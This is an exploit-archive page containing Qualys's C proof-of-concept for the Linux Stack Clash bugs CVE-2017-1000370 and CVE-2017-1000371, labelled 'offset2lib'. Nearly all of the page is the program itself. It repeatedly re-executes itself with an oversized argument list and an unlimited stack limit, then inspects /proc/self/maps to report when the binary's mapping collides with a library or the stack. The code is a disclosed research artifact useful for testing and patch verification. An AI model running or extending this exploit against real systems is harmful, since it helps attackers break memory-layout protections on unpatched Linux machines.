Linux 'offset2lib' Stack Clash Exploit

2017.06.29
Credit: Qualys
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

/* * Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <errno.h> #include <fcntl.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) #define MAX_STACK_SIZE ((size_t)1<<30) #define MAX_ARG_STRLEN ((size_t)128<<10) #define MIN_ARGC 1024 static void analyze_mappings(const char * const binary) { if (!binary) die(); if (strchr(binary, ' ')) die(); int rval = EXIT_FAILURE; int dump = 0; const int fd = open("/proc/self/maps", O_RDONLY); if (fd <= -1) die(); static char buf[4096] = " "; char * cp = buf; for (;;) { if (cp >= buf + sizeof(buf)) die(); const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp); if (nr <= 0) { if (nr == 0) break; if (nr != -1) die(); if (errno != EAGAIN && errno != EINTR) die(); continue; } cp += nr; } *cp = '\0'; if (memchr(buf, '\0', sizeof(buf)) != cp) die(); size_t hi_bin = 0; size_t lo_lib = 0; size_t lo_heap = 0; size_t lo_stack = 0; const char * line = buf; for (;;) { char * const nl = strchr(line, '\n'); if (!nl) die(); *nl = '\0'; cp = NULL; const size_t lo = strtoul(line, &cp, 16); if (cp <= line || *cp != '-') die(); if (lo <= 0) die(); line = cp + 1; cp = NULL; const size_t hi = strtoul(line, &cp, 16); if (cp <= line || *cp != ' ') die(); if (hi <= lo) die(); cp = strrchr(cp + 1, ' '); if (!cp) die(); cp++; if (!strcmp(cp, binary)) { hi_bin = hi; if (lo == 0x08048000) { fprintf(stderr, "Please recompile with -fpie -pie\n"); die(); } } else if (!strcmp(cp, "[heap]")) { if (!lo_heap) lo_heap = lo; else { if (lo_stack) die(); lo_stack = lo; dump = 1; } } else if (!strcmp(cp, "[stack]")) { if (!lo_stack) lo_stack = lo; else { die(); } } else if (*cp == '/') { if (!lo_lib) lo_lib = lo; } *nl = '\n'; line = nl + 1; if (*line == '\0') break; } if (!hi_bin) die(); if (!lo_lib) die(); if (!lo_stack) { if (!lo_heap) die(); lo_stack = lo_heap; lo_heap = 0; } if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) { fprintf(stderr, "CVE-2017-1000370 triggered\n"); rval = EXIT_SUCCESS; dump = 1; } if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) { fprintf(stderr, "CVE-2017-1000371 triggered\n"); rval = EXIT_SUCCESS; dump = 1; } if (dump) { const ssize_t len = strlen(buf); if (len <= 0) die(); if (write(STDERR_FILENO, buf, len) != len) die(); } if (close(fd)) die(); exit(rval); } int main(const int my_argc, const char * const my_argv[]) { if (my_argc >= MIN_ARGC) { analyze_mappings(*my_argv); die(); } size_t stack_size = MAX_STACK_SIZE; if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0); else if (my_argc != 1) die(); if (stack_size > MAX_STACK_SIZE) die(); static char arg[MAX_ARG_STRLEN] = " "; memset(arg, ' ', sizeof(arg)-1); const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *)); if (argc < MIN_ARGC) die(); char ** const argv = calloc(argc + 1, sizeof(char *)); if (!argv) die(); char * const binary = realpath(*my_argv, NULL); if (!binary) die(); *argv = binary; size_t i; for (i = 1; i < argc; i++) argv[i] = arg; if (i != argc) die(); if (argv[i]) die(); for (i = 1; i; i++) { fprintf(stderr, "Run #%zu...\n", i); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &stack_limit)) die(); execve(*argv, argv, NULL); die(); } int status = 0; if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) == EXIT_SUCCESS) continue; if (WEXITSTATUS(status) != EXIT_FAILURE) die(); } die(); }


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